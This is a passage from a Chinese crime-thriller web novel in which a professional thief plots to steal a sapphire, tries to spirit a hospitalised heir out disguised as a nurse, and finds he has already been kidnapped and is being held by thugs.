楼下黑乎乎的草地好像比以前更黑了,但那不是夜晚的小草所呈现出的黑,而是乌压压站了满地的人。 那些人穿着黑衣服,拿着黑铁棍,仿若凝聚在暗夜里的幽灵。 幽灵们整齐地仰着头,几百双黑眼睛,齐刷刷地,穿透黑暗,牢牢锁定在三楼窗口,锁定在她的身上。 * 晚七点,小张拉面。 刘总推开油腻的玻璃门,喧嚣声混着牛肉汤味扑面而来。面馆挤满了人,谈话声、吸溜面条的声、厨房的翻炒声交织成一片。他下意识皱了皱眉。 老板娘今天的头发盘得格外油,她看见刘总后就扭着腰迎上来,脸上堆满熟络的笑:“呦,来啦?吃点啥?” 刘总心不在焉地应付:“你这馆子生意可真好啊。”他伸着脖子,眼睛像探照灯一样在人头攒动的店里扫视。 这地方他来过三次,次次都是因为南希,且没一回顺当。第一次来时,南希更是抱着“大不了就倾家荡产”的架势把他约这儿,弄得他到今天都心里发毛。 老板娘看出他急躁,也知道他要找谁。上次他们父女和一个穿裙子的大帅哥实在令人印象深刻。她朝角落里努努嘴,说:“找你闺女吧?喏,那儿呢。” 刘总连句客套话都没顾不上,拔腿就往那边挤。 角落的桌子旁,南希趴着,乱糟糟的头发盖住了大半张脸,只露出耳朵尖和一小段脖子,那上面都泛着不正常的红色。 一个玻璃杯歪倒在她手边,杯子里剩着点橘黄色液体。 看起来像是酒。 “小张?”刘总走近喊她。 南希抬起头,眼神涣散,焦距半天才对准那个啤酒肚。 “刘……老刘!?” 她咧开嘴,抓起杯子就往刘总手里递:“来,喝……喝一口!” 刘总见她这副摸样,火气“噌”地顶到喉咙口,就要问候她老娘,可四周都是人,他又硬生生把话给咽了回去,铁青着脸在她对面重重坐下。 南希却不罢休,胳膊晃悠悠地伸过去,杯子乱颤,差点就戳到刘总的眼睛。 刘总终于忍不住了,一把打开她的手,声音压得很低,却带着火星子:“你看看你像什么样!吃个拉面都能把自个儿灌成这副德性!你吵着要隐退,就是为了天天泡在酒精里,糟蹋日子吗?!” 南希像是被这话刺了一下,举杯子的手僵在半空,然后慢慢垂下,连带着她的肩膀、脑袋都耷拉下去,整个人像被抽了骨头,软软地瘫在凳子上,没了魂儿。 刘总慌了。 他突然意识到,认识南希这么多年,从没见她沾过酒,更别说醉成这样。他赶紧放软了语气:“咋整的这是?从你提隐退就起我就觉得不对劲了。你真遇上过不去的坎了?小张啊,有啥就跟我说,我指定想法子帮你!” 这段话,南希只听到“隐退”俩字,她的眼睛似乎亮了一下,开口问:“我的隐退申请……你交了吗?” 刘总心口一抽。那份申请,他今天才咬着牙、含着泪传真出去。他一万个不想她走,别说组织损失,南希要是真隐退走了,他们就没啥关系了,以后怕是很难再见了,他舍不得。 可今天她突然约他,他又怕被追问这事,再加上之前在电话里头,南希一直坚持、不留余地,他就决定尊重她的意思,在出门前向组织发了传真。 他点点头:“嗯,交了。” “交了?!”南希突然声音拔高,身体前倾,差点撞到桌子,“你不是不想我隐退吗?怎么说交就交了?!” 刘总眼皮直跳,压着嗓子:“你吼啥?不是你铁了心要隐退吗?!我拦得住?!等等……你这话……小张,你后悔了?我,我现在赶紧回去,再发个传真说撤回,肯定来得及!” 南希眯起眼,浑浊的瞳孔似乎清明了一瞬:“刘总,听你这意思……那传真你好像刚发没多久啊。” 刘总立马闭上嘴,不吱声了,心里嘀咕:她究竟醉没醉啊? “唉,算了算了。”南希摆摆手,像在赶苍蝇:“你也不用回去撤了。”她又趴上桌子,“刘总,我问你,这申请,组织多久能批?” 刘总回:“没准儿,快的话,当天;慢的话,拖个把礼拜也有可能。” 南希整个人又凑近了些,神秘兮兮:“那……只要组织一天不批,我就还是组织的人,对吧?” 刘总下意识往后仰了仰:“按规矩,应该……对,对吧。” “是组织的人,是不是就能申请去总部看看?” 一听这话,刘总心里警铃大作:“小张,你,你想干啥?” 南希一拍桌子,震得碗筷乱响。 “还能干啥,我要申请去总部啊!” 刘总吓得差点从凳子上滑下去,声音都变了调:“去总部?!你疯了?!那是你想去就能去的地方吗?做梦……” “刘总,你也不知道总部在哪儿吧?”南希打断他,目光直直地戳过去,“也不知道总部里有哪些人,对吧?” 这话,刘总反驳不了。他替组织干了大半辈子的活儿,带过不下十个“执行人”。他这接头人的工作,说白了就跟明星经纪人似的,靠手里的资源捧人。可他跟总部的联系,从来就只有家里那台传真机和市区那个神神秘秘的典当行。像南希这种大红的执行人,接任务时还能收到个总部的电话指令,而他连电话都没接过。 总部?他压根没敢多揣摩过一分。 眼前,南希又拍了拍桌子。 “刘总,给组织卖命这么多年,你就不好奇组织到底是个啥样?咱们拼死拼活弄来的那些宝贝,最后都送到哪儿去了?” 刘总张了张嘴,却发现喉咙干得发不出声。整颗心被一种虚飘飘的不真实感占据。 南希说的这些问题,他确实从来没想过。他的世界一直按部就班,他干活,拿钱,过日子,就像是上了发条的钟,向来循着既定的轨迹走…… “说话啊!”南希逼问,气息几乎喷到他脸上,“会不会,咱们弄那些宝贝,都藏在总部里啊?” 刘总舔了舔嘴唇,好不容易挤出几个字:“小张,你……你喝多了。” 南希盯着他看了几秒,眼里透出失望。 然后,她仰头把杯子里的液体一口灌下,用力抹了把嘴,用命令的语气说:“好了,刘总,咱别废话了,既然我现在还是执行人,接头人就得无条件满足我的要求。你帮我打申请,我要去总部。” 刘总的手都在抖,问题也蠢:“怎……怎么申请?” 南希斜视他:“这还用问?发传真!除了这个,你还有别的路子吗?” “小张,你总得告诉我,你去总部到底要干什么吧……”刘总近乎恳求。 南希顿了下,突然嘿嘿一笑:“老刘啊,你不是一直都说,你拿我当自己人吗?好,我就告诉你,但你不能写在传真上。”她站直,身体晃了晃,深吸了一口气,大声吆喝道:“我要去偷蓝——” 周围几桌的客人被她的声音吸引,齐刷刷看了过来。 刘总吓坏了,几乎是扑过去,一手死死捂住南希的嘴,一手用力把她按回凳子上。然后他哈着腰对四周赔笑:“对不住,对不住!孩子喝多了,胡咧咧呢!大家吃好喝好!” 南希挣开他,没再喊叫,只是摇摇晃晃地站起来,从裤兜里摸出一张卷了边的五十块钱,“啪”地拍在油乎乎的桌面上。 “这顿我请!”她瞪着刘总,眼神浑浊却不容置疑,“申请,别忘了啊!”说完,她转身,趔趔趄趄地穿过拉面馆,推门消失在夜色里。 刘总没去追,或者说,他不敢去追。他怕追上她,再从她嘴里听到些别的惊悚的话。他试图安慰自己:小张是醉了,说的全是醉话,等她酒醒了,一切就正常了。 这样想着,他的目光落在桌面,一个标有“特酿”的陶罐上。他端起陶罐,晃了晃,闻到酒味,然后往杯子里倒了点儿。 出来的是橘黄色的液体,跟南希喝的一样。 他便抓过杯子,迟疑地抿了一小口。 一股明显的酸甜味在舌尖化开,还有很浓的香精气。 他愣住,站起来朝柜台方向招手:“老板娘!快,来一下!” 老板娘扭过来:“咋啦?还要加点啥?” 刘总手哆嗦,指那陶罐:“这……这到底是不是酒?” 老板娘笑了,满脸得意:“呦,你喜欢这个啊?喜欢就带一瓶回去呗。咱家自己兑的饮料,样子像酒,闻着也像,其实就是糖水儿,不上头。” 刘总“嘭”地坐回凳子,大脑这才反应过来,刚才南希说了什么: 我要去偷蓝—— 蓝宝石?! 他攥紧盛糖水的杯子,半天没动。 第38章 交易 空旷的马路,切诺基以40迈的速度行驶。 南希指间夹着烟,手搭在车窗框上,时不时弹一下烟灰。夜风把烟味吹散,却吹不散她脑子里的那团乱麻。 虽然她已经做足了预设,却还是低估了温四爷。 温沙城堡楼下密密麻麻、像草一样的打手是对她的警告。 她压根就没有从他手上逃走的机会。 五天,从组织里盗取蓝宝石。这是温四爷和她达成的最终交易,如果做不到……她这个“根源”,可能就会被彻底掐灭…… 可是,去一个靠偷东西起家的组织里偷东西,这件事本身就够荒唐。组织对她来说,像个庞大无形的黑影,她根本就摸不着边。但时间卡在脖子上,她不能停,按照以往的经验,只有先动起来,路才会在脚下一步步踩出来。 让刘总打申请去总部,是第一步,也是最常规、最简单的一步。刘总那人,嘴上虽爱唠叨,可事肯定会办。 走完这一步,她的思路好像清晰了点。打申请去组织只为碰运气,如果能被批准,那是她的幸运,不批才是正常,所以,她还需要走出接下来的第二、第三、第四步…… 首先,她不能完全按温四爷的节奏来。温雪生现在的病情如何?他挖眼睛的事是真是假?这些她都得亲自确认。 其次,要跟温四爷这种黑白通吃的大佬掰手腕,她需要帮手。 视线里,一个发着昏黄光线的灯牌渐渐清晰。 南希踩住了刹车。 那光线勾勒出五个字:开运全羊馆。 这时,全羊馆的门“吱呀”一声开了。 身穿红旗袍、鬓角簪大红花的老板娘孙红走了出来。 她隔着车窗看南希,却不说话。 南希也不吭声,直接推门下车,昂着头朝馆子走去。 两人擦肩时,孙红才转过身,声音冷冰冰的:“不是说不入伙么?怎么又找上门了?” 南希没接茬,她心情不好,语气便也冲了些:“老板娘特意出来接我,该不会这次,你这小破店又歇业在等我吧?” 孙红很是不快,微扬起下巴:“别把自己想得太金贵。” 南希像没听着,径自进了馆子。 全羊馆灯光昏暗,只有角落一桌坐着个客人。那人穿着灰蓝布衣,脖子上挂着佛珠,竟是个和尚。 但南希没心思奇怪别的事,只扫了一眼,就随便找了张桌子坐下了。 孙红跟进来,从柜台上拿了张红色菜单,冲她说:“吃点什么?” 南希一愣,抬眼瞅她:“你应该知道,我不是来吃饭的。” “这是饭馆,”孙红把菜单放她面前,似乎还在继续刚才的挑衅,“不吃饭不欢迎,有事吃完饭说。” 南希的肚子“咕嘟”叫了一声,她尴尬地眨巴了两下眼,突然觉得的确得先吃饭。 五分钟后,一碗热气腾腾的羊肉面端上了桌。 十分钟后,面快见底,张笑远推门而入。他的气息有点急,像是被人从外面匆匆叫回来的。 见管事儿的人到了,南希赶紧端起碗,把最后几根面条和汤底扒拉进嘴里,然后抹了把嘴角的油渍,饱饱地开口:“我可以加入你们。” 话少,事大。 可张笑远脸上竟没什么表情,连旁边的孙红也只是眼神动了动。 大家都是明白人,其实从南希踏进这里起,她的决定就已经摆在了台面上。 孙红只是没想到她决定得这么快,表达得这么直白。说实话,她不太喜欢南希,谁会真心喜欢一个挫过自己锐气的人? 南希见他们不出声表态,很快意识到这是在等她的下文。毕竟她说的是“我可以加入你们”,这句话后面一般还会跟着一句“但是”。 她识趣,接着把这个但是说了出来:“但是,前提是你们需要帮我两个忙。” 孙红皱眉:“为什么是两个?” “你们测试了我两次,”南希迎上她不爽的目光,“我让你们帮两次,这很公平。再说,你们考验我后才决定让我加入,我也不是随便的人,也得看看你们的斤两。唉,毕竟我在以前的组织里,钞票大把大把的赚。而你们‘破晓’,又能给我什么呢?” 张笑远沉吟了一下,觉得她说得在理:“的确很公平,你想让我们帮什么?” 南希喜欢张笑远这点,正要开口,突然瞥了眼店里那个一直安静坐着的和尚。 意思是有外人,不方便说。 这时,那和尚站起,走到近前,双手合十,朝南希微微躬身:“阿弥陀佛,贫僧释行,南山清心寺修行,于‘破晓’内,行五。” 话说得文绉绉,但还算容易理解:这和尚也是破晓的成员,排行第五! 南希着实吃惊,破晓里还真是什么人都有啊……还有那个清心寺……这地方有点耳熟。 她仔细打量眼前的和尚,很年轻,眉眼清秀,僧袍洗得发白却很干净。猛地,她想起来了——清心寺,王有才捐款的那个寺庙!也是打造白玉佛的那个寺庙!难怪上次白玉佛任务,处处透着破晓的影子…… 边上,孙红的脸色因为和尚的话,有点儿不自然。 南希立马意识到原因,暗暗偷笑。看来这次,破晓还真是又歇业专门等她呢。 她忽地对破晓这个组织,生出了一点微妙的信心,那是一种踏上正轨获得主角光环的感觉。 她便转向张笑远,直接了当:“我想让你们帮的忙是——一,帮我进入卢氏医院的VIP病房;二,帮我找到蓝宝石。” * 卢氏医院,顶层VIP区,一个昏暗病房。 房内拉着厚重的窗帘,却没开灯。阳光透过窗帘的缝隙射进来,映出缭绕的灰白色烟雾,让这房间显得像仙境一样。 一高一矮两个仙人置身仙境,他们周身的烟气最重,所以他们的轮廓也最为模糊。 仙人一边制造烟气,一边交谈。 “郑司令,你到底来干什么的?给我交个底。” “看不出来?必然是跟你一样啊。” “这地方都有我了,你凑什么热闹?” “说你脑子不灵光,还真是不灵光。”那个属于郑司令的声音顿了顿,意味深长地继续,“唉,老大不放心你啊。” 另外的声音沉默了一会儿:“别想挑拨我们父子之间的关系。” “呦,还父子呢,我怎么瞅不出来?瞧瞧你这待遇吧!躺在最里面那个病房的,才跟他是父子……” …… 走廊最近里面的至尊VIP病房,温雪生正安静地躺在那里。 这间病房非常大,墙壁贴着暗纹丝绸壁布,天花板吊着水晶灯,靠墙的位置摆着一套真皮沙发和红木茶几,要不是空气里弥漫着浓重的消毒水味,没人能猜出这是一间病房。 病房中央的多功能床上,温雪声闭着眼,氧气面罩覆盖了他的大半张脸,他的胸口随着呼吸微微起伏着。 他边上,监控心电的仪器亮着屏幕,曲线正在规律地跳动。 门被轻轻推开,卢院长走了进来。 他看了眼温雪生,又瞥向旁边。 一个小护士瘫在椅子上,似乎睡着了。 他不禁皱起眉头,走过去,轻轻推了推那护士。 小护士猛然惊醒,看到院长,吓得一哆嗦,差点叫出来。 卢院长虚着嗓子让她注意动静。 她又赶紧用手堵住了嘴。 卢院长无奈地摇了摇头,然后拿出手机拨通护士长的电话,低声命令她立刻过来一起守着温少爷。安排完这一切后,他才稍微松了口气,轻手轻脚地退出了病房。 可他一转身,竟闻到走廊上有一股淡淡的烟味。 不远处,有俩医生走过,似乎也闻到了这股气味,抱怨了一句,然后迅速走了。 卢院长便又提起心、皱起眉头,赶紧循着烟味找去。终于找到源头,是从一间虚掩着门的病房里传出来的。 这几天少爷在他这养病,这一层的vip病房都清了,没人住,怎么会有烟味?他想,肯定是有烟瘾的大夫偷着上楼来吸烟的。 这样一琢磨,他心头火起,一手推开病房,吼道:“谁在里面抽烟!?” 顿时,两双惊疑的眼睛穿过烟雾缭绕向他看来。 卢院长愣住,然后被烟气呛得咳嗽了一下,气势弱了下来:“是您二位啊……不过,少爷就在最头上那个病房修养,还是不要在这里吸烟的好……” 那两个人,一个长得跟猴子一样,另一个年老些,个头不高,贼眉鼠眼,虽然穿着衣冠楚楚,但一看就是个地痞流氓—— ——温四爷的干儿子温重明和济东地头蛇“郑司令”。 温重明吸了口烟,嬉皮笑脸地对郑司令说:“诶,郑司令,听着了没?这儿不能抽烟。” 郑司令瞅了他一眼,阴阳怪气:“里面躺着的是你弟,按理说,该你先把烟给掐了。” 两人互相瞪着,谁都没再说话,但夹着烟的手也都没动。 卢院长压着火气,不敢发作,只能默默打开洗手间的门,然后按下排气扇的开关。 昨天,温重名带着一堆黑打手进了医院,说是温四爷安排来保护少爷的。 他不懂了,少爷在他这还有什么需要保护的,济东市里,谁又敢在卢氏乱来呢?哪想今天一早郑司令又突然出现,也带了一帮打手,整得卢氏乌烟瘴气,都没法正常营业了…… 他有苦不敢言,现在就盼着少爷快点儿好,然后把这些祖宗送走。 卢院长从洗手间出来,笑着跟两位祖宗客套了几句,然后准备推门离开这熏死人的房间。 哪像,他的手还没放到把手上,门突然从外面被撞开了。 刚才那个打盹的小护士冲了进来,惊慌失色:“院长,出大事了,温,温家少爷不见了!” 第39章 失踪 几分钟前。 南希顺利站在了卢氏医院护士长的面前。 她此行是释行给介绍的。 临行前,那光头和尚双手合十,轻描淡写地说护士长是清心寺的信徒,曾受过他的点化,可以信任。 事关重要,南希还想多问些什么,可和尚不再说了,她没辙,只得抱着试试的心态去跟护士长见面。 这位护士长是个四十岁左右的女人,皮肤白净,眼角有细密的纹路,或许因为在医院里工作,生老病死见得多了,平日里,她总给人一种情感冷漠的感觉。 可就是这么一个人,却在看到南希的刹那,眼睛里闪起了灼灼的光,就像是两簇被点燃的香火,虔诚、喜悦、甚至还带着点儿惶恐。 “您来了,”护士长的声音近乎颤抖,“我已经照释行师父说的,都弄好了。” “哦……”南希被她的目光照得有些不自在。 护士长似乎察觉到什么,冲她笑笑,没再多说话。她弯下腰,从桌子底下的储物格里取出一个包裹。里面是两套叠得方方正正的白色护士服,最上面还压着两顶同样纯白的护士帽。 “这套给您。”护士长拿出其中一套递给南希,低声说,“待会您穿上这衣服扮作护士,跟着我走就行。另一套,您先放在包里装好,待会儿见到温少爷后给他换上,到时候咱们一起出来,没人会留意我身边多出来的一个护士。” 护士长的安排很合理,南希在换衣服时感到一种难得的轻松。工作多年,她所有的任务行动都是自己设计,很少像现在这样跟着别人的计划走。她从更衣室走出来,问:“换好了,那么接下来呢?” 护士长双手合十:“阿弥陀佛,万事俱备,接下来,就只欠东风了。” 她的计划就像一把逐渐拉开的弓,现在箭已搭上,弦正一点点绷紧,只是缺少一个让箭顺利射出的契机——名正言顺踏入至尊VIP病房的契机。 这时,护士站的内部电话响了起来。护士长微不可察地一颤,迅速提起听筒。 “喂?是,院长……是的,我明白……小李可能确实经验不足,照顾不周……好的,好的,您放心,我马上过去替她。” 放下电话时,护士长的手指因为用力握着听筒而有些发白。 她转向南希,嘴唇略微哆嗦:“卢院长的电话,让我去至尊VIP病房照顾温少爷。” 契机来得突然,甚至可以说是如有神助。两人对视一眼,都从对方眼中看到了激动的火花。然后,她们没有一丝迟疑,几乎同时转身,走向电梯厅。 高跟鞋在走廊里急促的响着。 电梯缓缓关门,缓缓上升,又缓缓地开了门。 南希紧跟护士长,走出电梯,迈向走廊尽头的病房,步伐尽量保持平稳,但速度却不自觉地加快。 眼看至尊VIP病房越来越近,还有几步的距离,她就能见到温雪生了,突然,那扇厚重的病房门突然从里面被撞开,一个小护士踉跄着冲了出来。 她的动作又急又乱,就像背后有鬼在追似的,在看到护士长后,她脸上的慌张神情一下子达到了顶点,差点就要哭出来:“护……护士长!”她声音嘶哑,手指颤抖地指向身后的病房,“温,温少爷,他人没了!” * “什么叫不见了?!” 病房门口,卢院长双手抓着小护士的肩膀,前后摇晃。 哔—哔哔—— 哔哔哔—— 几乎是同一时间,病房里面,两道手机铃声尖锐地刺破了空气。温重名和郑司令在卢院长撕心裂肺的咆哮中,同时摸向自己的口袋,然后相视一眼,迅速接起电话。 听筒里传来差不多的焦急声音——“老大,医院门口乱套了,有骑摩托车的飞车党闹了大乱子!”。 同样焦急的声音,还出现在十几公里开外,济东大学的计算机学院。 刚到下课点,宫教授的公文包里,大哥大发出了突兀的轰鸣。 他匆忙地一划拉讲台上的课件,拎起包快步走出教室,把学生们收拾书本的窸窣声关在了身后。 走廊相对安静,他按下接听键,让话筒贴近耳朵:“喂?” “老宫!”一个焦急的男声传来。 这时,几个学生迎面走来,朝他恭敬地喊了声“宫教授”。 宫教授脸上挤出一丝尴尬的笑,脚下步伐加快,咬牙切齿地对着话筒说:“张笑远!都说了多少遍,别这样叫我了!” 那头的声音顿了一下,不以为意地回:“习惯了,不好改。先不说这个,有个急事得找你帮忙。”不容宫教授开口问“什么事”,电话里的声音就接着说,“你的学生,就是那个温少爷,他从卢氏医院消失了。我们正在找他,没找到。你找个借口联系下他家里那边,探探情况,有消息后给我回电话,那个,电话号码是——139……” 有女声说数字的声音在电话里响。 张笑远跟着那个声音说:“139,嗯……5216,8367。” 说完,他“咔哒”一声合上手机翻盖,将摩托罗拉还给了坐在切诺基驾驶座的女孩:“南希,你不是说你跟李管事很熟吗,我觉得你最好也打个电话到温沙城堡问问。掳走温雪生的事,他们很可能会怀疑到你头上,你得主动告诉他们不是你。” 南希透过车玻璃望着前方,叹了口气:“我说不是我,他们就会信?况且,我本来就是要掳走他的。” 她用余光瞅了下后座的张笑远:“你说,现在这到底什么情况?温雪生能去哪啊?按理讲,咱们的计划天衣无缝,我顺利到了VIP病房,老板娘她们也为掩护我逃走顺利制造出了混乱,可怎么就晚了一步呢?……等等,该不会温雪生被他老爹的对家给绑架了吧?” 张笑远身体前倾,右手按在副驾驶的椅背上,试图让她冷静:“你先别乱琢磨,你把今天的经历跟我详细说说,咱们两个都好好想想,说不定就能想出什么遗漏的问题。” 南希回忆起她见到护士长之后的事,然后转过头,把脑海中的画面讲了出来,讲完,她忍不住抱怨:“那个小护士真是脑子不好,说什么温雪生人没了,我当时魂都快吓飞了,还好护士长冷静,多问了一句,原来她是说他人不见了,凭空消失了。” 张笑远还陷在南希讲述的故事里,没心思听她说别的,追问道:“后面呢?还发生了什么?” 南希便继续:“小护士那种脑子,她说的话我哪里敢全信?我立马就冲进病房查看情况,”她伸出手指,一项项清点,“病床上是空的,被子乱七八糟,我还翻了床底,查了衣柜,连窗帘后面都拉开看了,都没找到温雪生,连根他的头发丝都没瞧着!” 张笑远听完,指尖无意识地敲着座椅,其实从南希的第一句话起,他就觉得有哪里不对劲,但那个不对劲的点模糊不清,他抓不住。 “那么,检查完你就走了?”他问。 南希情绪激动:“不然呢?难道等着被抓个正着吗?我那会儿正急着找人呢,护士长突然推门进来,说那个小护士跑到另一个的病房去了,而且她听那边的声音,护士长觉得卢院长也在那个病房。然后,护士长就催我赶紧走,说剩下的事她会帮我盯着。我不怕别的,就怕走晚了连累护士长,只好压着脑袋往外走,在经过小护士在的那间病房时,我特意朝里面瞄了一眼,那儿都乱成一锅粥了,有人还大声吵什么‘都是你,这都办不好?’,‘看你怎么跟老大交代’,听起来就像是在推卸责任。” 张笑远沉吟:“有人在VIP病房?不应该呀,那些人你之前见过吗?” 南希刚要答“没见过”,身体竟突然僵在原处。 温雪生住的至尊VIP病房在走廊的最里头,想去到那儿,必须经过所有的VIP病房,可是,她和护士长走过去的时候,其他病房的门都紧紧关着,安安静静,并没有什么异常…… 她的眉头更皱了,几乎拧成了一个结。 就在这时,张笑远抛出了他最后的问题。 “卢院长什么时候去的那个病房?小护士又怎么知道,他会在那个病房?” 哔—哔哔—哔— 摩托罗拉不合时宜地响起铃,两人的思绪被拉回当前。 南希翻开盖子扫了眼屏幕上的号码,然后把手机递给了张笑远:“喏,可能是宫教授。” 张笑远接过来:“喂,老宫。” 在短时间内连续到这个词,哪怕南希精神紧张,嘴角的肌肉也不由自主地牵动了一下,几乎要露出一个哭笑不得的表情。她瞅着张笑远正儿八经的模样,突然有些同情宫教授。 宫教授也同情自己,他明显沉默了两秒,似乎放弃了纠正这个称呼的打算,直接切入正题:“笑远啊,我跟温家那边打过电话了,听他们的反应,像是刚刚才知道雪生失踪这件事。一开始是他们那的王姐接的,语气很急,后来李管事也接了电话,更着急,他说温四爷动了怒,也到处在找雪生,听他的语气,我感觉不像是装的。对了,他还反过来要求我,如果有任何消息,必须第一时间跟他联系。” 车里很安静,虽然隔着听筒,南希还是听请了宫教授口中的每一个字。 她已经可以肯定,温雪生真是被人劫走了,而且情况比她想象的更复杂…… 心一点点往向下沉,在即将沉入谷底时,张笑远突然伸手,轻轻拍了拍她的肩膀。 她打了个激灵,一斜眼,发现张笑远面色发暗。 “现在开车,要快,我们好像被盯上了。” 南希立马恢复状态,回头坐正身体,视线迅速扫过侧后方和反光镜,双手几乎是本能地握紧了方向盘。 反光镜里,清晰地映出两个人:一个像钉在电线杆下的影子,手里举着报纸,眼睛却不在报纸上;另一个在稍远处的马路牙子上蹲着,指间的烟头忽明忽灭,却不见他吸上一口。 南希感到心脏抽了一下。 职业习惯让她随时留意周围的环境,如果她没记错,从她上车到现在,这两个人,连同他们的姿势,就没变过! 她腿下用力,右脚将油门猛踩到了底。 “嗖”的一声,切诺基窜了出去。 几乎在同时,反光镜里那两个人动了!他们不再伪装,看报的那个直接将报纸扔在地上,吸烟的那个迅速碾灭了烟头。 两个人的视线一齐望向了切诺基! 紧接着,一辆黑色越野车从侧后方的小路里急转弯冲出,一个急刹停在了他们身边。 那俩人利落地跳上车。 不等车门完全关紧,越野车就嘶吼着,像一道闪电,紧咬着切诺基的车尾追去。 第40章 绑架 噗—— 一盆冷水浇了下去。 被绑在水泥地上的人打了个哆嗦。水珠从他过长的黑色刘海上滚落,冲走了他头上的黑布罩,然后顺着脸颊往下淌。 他身上的蓝白条纹病号服很快被浸透,紧贴着他消瘦的身体。 他缓慢地抬起头,露出了两只毫无神采的眼睛,左眼是灰白色的,像是一块化石,右眼虽然暗淡,却透着一股阴森。头顶的灯"嘶拉嘶拉"地亮着,让他的脸在明暗之间交替闪烁,只是那脸上不知什么时候又多了几条藏青色纹路,蜿蜒地爬过颧骨,很是骇人。 拿着水盆的小流氓被这张脸吓得倒退了一步,手一抖,把水盆朝他砸去。 盆沿正中他的额头,一缕暗红的血立刻渗了出来,混着脸上的水珠往下滴。 但他一声都没吭,但那只右眼的光纤更加阴森了。 小流氓心里发颤,一分钟都不想多呆,毕竟这人是他名义上的老大,温四爷的亲儿子。他哆嗦着一转头,连滚带爬地跑了出去,狠狠关上了铁门。 铁门里面很小,四面都是水泥墙,没有窗户,门合上后,就形成了一个彻彻底底的密闭空间。 温雪生扫了眼周围,只觉的阵阵寒意朝脊背上涌,然后一种打心底滋生出的恐惧迅速蔓延至全身,很快盖过了他头上的痛感。 他开始不受控制地发抖,体力已经支撑不住一直抬着头,所以他的脑袋很快耷拉下去,意识也一会儿虚一会儿实,迅速涣散、游离。 恍恍惚惚地,他似乎看到了一个小男孩。 那孩子蜷缩在一个女人怀里。女人的头发很长,卷卷的,长得漂亮且端庄,她身边还有个年纪稍大点的男孩,她紧紧攥着他的手,两人依偎在一起。 这时,她怀里的男孩啜泣起来,可怜巴巴地看向女人:“妈,我饿了……我想吃鸡腿,想吃巧克力,想喝哇哈哈……” 女人轻轻抚摸他的额头:“乖,再忍一忍,说不定明天就能吃到了。” 男孩撅嘴,抹眼泪:“不要不要,你每次都这样说……” 大点的男孩看不下去,从口袋里小心翼翼地掏出一小块用糖纸包着的东西,递到男孩面前:“给你,这是被关进来后,妈给咱俩的糖,我的还没吃呢。” 小男孩立马不哭了,接过糖,剥开糖纸塞进嘴里,脸颊鼓出一个圆圆的形状。没过多久,他就在女人怀里睡着了,呼吸逐渐均匀。 画面戛然而止,温雪生的意识又飘到了另外的画面。 画面里还是那个小男孩,还有他的母亲和哥哥。 一个留着小胡子的矮个儿推开门,端着一个大铁盘,上面摆满了鸡腿、蛋糕、饼干、猪头肉、肉丸子……食物的香气瞬间弥漫了整个密闭空间。 小男孩眼睛亮了,等小胡子一走,就直接扑向了铁盘。 “不能吃!”女人一把拉住他,“爸爸妈妈怎么教你的?陌生人给的东西不能随便吃!” 小男孩委屈,伸出一根指头:“我就吃一小口鸡腿,就一口。” 女人坚决摇头,把他拽回身边,"你看看哥哥。" 一旁的大男孩坐得笔直,眼睛刻意避开了那些食物:“我不饿。” 香味不断飘来,却没有一个人动。 可能是因为太久没吃东西,三个人的体力都不太好了,没多久他们就昏昏沉沉地睡了过去。但小男孩没有真的睡着,等女人和哥哥呼吸平稳后,他悄悄爬到铁盘前,对着猪头肉一口咬下。 女人睡得浅,一睁眼看见他在啃肉,猛地把他拖走,伸手抠他的嘴。哥哥也惊醒了,用力拍他的背。 他呕的一声吐出了肉,却还是有一小块已经咽进了肚子。 女人脸色惨白,跪在地上祈祷,祈求上苍保佑,也祈求丈夫能来救他们。她的声音颤抖,却依然努力保持着镇定。 可她身边的小男孩不太对劲了,他抱住头喊疼,在地上打滚。女人强忍的眼泪终于落下来,她发疯般地拍打铁门,喊:“救救我的孩子!只要能救他,我什么都愿意做!” 接着又是一个新画面。 小男孩恢复意识,睁开眼,但天花板上的大灯太亮,耀得他又把眼睛闭上了,等好不容易适应后才又试着重新睁眼。然后,他好像发现了椅子上打瞌睡的中年男人。 他的手动了一下,发出嘶哑的声音。 男人惊醒,扑到床边,紧紧握住他的小手。 小脸上露出疑惑,他抬手捂住自己的右眼,好一会儿才开口:“我的眼睛……我的眼睛好像坏了。” 男人赶紧抱住他,声音哽咽:"没事没事,以后会好的。" 可这个年纪的男孩还不懂眼睛的重要性,他看起来并不在意,好奇地环顾了下空荡荡的房间,眨巴了两下眼,天真地问:“诶,老爸,我妈呢?还有哥哥呢?” 男人双唇紧闭,没出声,眼睛却红了一圈。 到这里,画面开始扭曲、旋转,然后一点点被黑暗取代。 黑暗里充斥着数不清的、重重交叠的声音: “我们雪生是大诗人啊!” “弟弟,你要是真那么喜欢这个小汽车,就让给你吧。” “雪生来尝尝妈妈刚学的鱼香茄子好吃吗?” “等你上小学后,哥哥罩着你。” …… “雪生,妈妈不会让这样睡下去的……” “用我的血救弟弟吧……” “妈妈来陪你了……” …… “小生生!” …… 温雪生猛喘了一口粗气,胸腔剧烈起伏。 他艰难地抬起头,湿漉漉的黑发黏在额前,视线逐渐清晰。 刚才被合上的那扇铁门,现在却大敞着。 一个长相毫无特点的中年男人坐在铁门前的板凳上,穿着一身黑魆魆的衣服。 温雪生一眼就认出这是个黑打手,他从小接触的这类人,都有着跟这中年男人一样的僵硬坐姿,和警惕的眼神。 那中年男人见他醒了,紧绷的肩膀微微放松,像是舒了口气,却没说什么。 温雪生也不作声,只是继续喘着粗气,声音越来越弱,最后脑袋一歪,竟又昏死过去。 然后,第三盆冷水迎面泼来。 温雪生打了个哆嗦,再次抬起头。 中年男人与他对视,嘴唇紧闭,还是没说话。 接着,这样的戏码又重复了几次。 当第六盆冷水浇下时,温雪生的身体已经不再动弹。 他整个人软绵绵地瘫在地上,就像是死了。 中年男人脸上闪过一丝诧异。他起身走近,拍了拍温雪生的脸。 没有反应。 他又加重力道连拍了几下,温雪生依旧毫无声息。 中年男人终于慌了,急忙将蜷着身体的温雪生翻正过来,只见他双目紧闭,脸色青白交错,看上去十分恐怖。 “有人吗?”男人下意识朝门外喊。可是,他的声音在空荡的走廊里回荡,没有人应答。 他像是想到了什么,解开紧绑在他身上的麻绳帮他顺气,却仍然没有效果。 他真怕了,一咬牙,从随身携带的皮包里掏出一个黑色大哥大,然后按下了一串号码。 等听筒里的嘀嘀声结束后,他压低声音对着话筒说:“老大,这么晚打扰您真对不住,但我这儿出了点状况……是是是,我长话短说。您吩咐要看好那小子别让他断气,我们一直用冷水让他保持清醒,可他的身子骨实在太弱了,刚才就……” 